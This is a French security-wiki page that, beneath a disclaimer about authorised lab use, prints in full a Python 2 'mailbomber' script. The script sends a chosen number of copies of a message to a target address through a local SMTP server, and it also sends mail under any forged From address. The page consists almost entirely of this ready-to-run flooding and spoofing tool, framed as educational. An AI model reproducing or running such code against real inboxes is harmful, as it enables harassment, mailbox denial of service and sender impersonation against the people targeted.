Mailbomber.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
Domaine Sécurité — messagerie
Module smtplib
Rôle Envoi massif d'e-mails

Script Python interactif d'envoi massif d'e-mails via smtplib (utilise le serveur SMTP local). L'auteur d'origine précise qu'il est destiné à des fins pédagogiques uniquement.

#!/usr/bin/python
import smtplib
import string
import sys
 
def prompt(prompt):
    return string.strip(raw_input(prompt))
 
def index():
    print "Intricated Electronics' Software presents:"
    print "EMAIL TESTER v1.0!"
    print "Please select what you would like to do:"
    print
    print "1) Send an email address with tons of emails."
    print "2) Send a fake mail with no execessive emails."
    print "3) Help"
    print "4) Exit"
    print "5) Copy Rights"
     
    select = raw_input('->')
    if select == '1':
        bomb()
    elif select == '2':
        fake()
    elif select == '3':
        help()
    elif select == '4':
        sys.exit()
    elif select == '5':
        copyrights()
    else:
        print "Not a valid input!"
        print
        index()
 
def bomb():
    fromaddr = prompt("From: ")
    toaddrs  = string.split(prompt("To: "))
    print "How many times to send message?"
    times = input('-->')
    print
    print "Enter message, cancel with ^D; end with enter twice:"
     
    # Add the From: and To: headers at the start!
    msg = ("From: %s\r\nTo: %s\r\n\r\n"
           % (fromaddr, string.join(toaddrs, ", ")))
    while 1:
        line = raw_input()
        if not line:
            break
        msg = msg + line
 
    print "Message length is " + `len(msg)`
    print "Now sending..."
    print "Please be patient..."
    print
    print
 
    BombCount = 0
    while BombCount <= times:
        BombCount = BombCount + 1
        server = smtplib.SMTP('localhost')
        server.set_debuglevel(1)
        print "Sending message", BombCount, "..."
        print
        server.sendmail(fromaddr, toaddrs, msg)
        server.quit()
    print
    print
    print "Transmission complete! :-)"
    print "Press 'return' to go back to index"
    pause = raw_input('...')
 
def fake():
    fromaddr = prompt("From: ")
    toaddrs  = string.split(prompt("To: "))
    print
    print "Enter message, cancel with ^D; end with enter twice."
     
    # Add the From: and To: headers at the start!
    msg = ("From: %s\r\nTo: %s\r\n\r\n"
           % (fromaddr, string.join(toaddrs, ", ")))
    while 1:
        line = raw_input()
        if not line:
            break
        msg = msg + line
 
    print "Message length is " + `len(msg)`
    print "Now sending fake message..."
    print "Please be patient..."
 
    print
    print
 
 
    server = smtplib.SMTP('localhost')
    server.set_debuglevel(1)
    print "Sending fake message to:", toaddrs
    print
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
 
    print
    print
 
    print "Transmission complete! :-)"
    print "Press 'return' to go back to index"
    pause = raw_input('...')
 
def help():
    print """ ***>>- Disclaimer -<<*** : I'm not
    responsible for how you choose to use this
    program.  This program uses your own computer as
    the server, thus making your computer the SMTP.
    If you send excessive emails to someone with out
    their permission, you can get in serious trouble
    if one wants to the press charges. This was made
    for educational purposes only, to show the SMTP
    features of the python language.
    ~ Machewy (Author)
    --- Press \'return\' to continue reading. . ."""
    pause = raw_input('')
    print """
 
    ***>>- FAQs -<<***:
    \"Q\"
    Help me!  I can't get it to work. I keep getting
    an error message.
    \"A\"
    Your internet connection isn't configured properly
    to do this.  You must set your computer's networking
    settings to local host.  Also check with your ISP to see
    if they support SMTP.
 
    \"Q\"
    Does this work with Microsoft Windows?
    \"A\"
    Yes, but this script was designed for UNIX. However,
    it should still work for Microsoft Windows.
 
    \"Q\"
    I really like this program, and I want to make my own
    like this. Where can I learn more about python?
    \"A\"
    http://www.python.org"""
    print
    print "Press 'enter' to return to the index..."
    pause = raw_input('')
    index()
 
def copyrights():
    print """
 
 
    ***This software has been created by
    the \'Intricated Electronics\'
    Software Divsion.
 
    Main Author:
        Machewy
    Main Author Email:
        ?
    Price:
        Free
    Type:
        Open-Source -- You are free to
        distribute this software to anyone
        you want.
 
 
    """
    pause = raw_input('')
    index()
     
 
 
 
index()

Voir aussi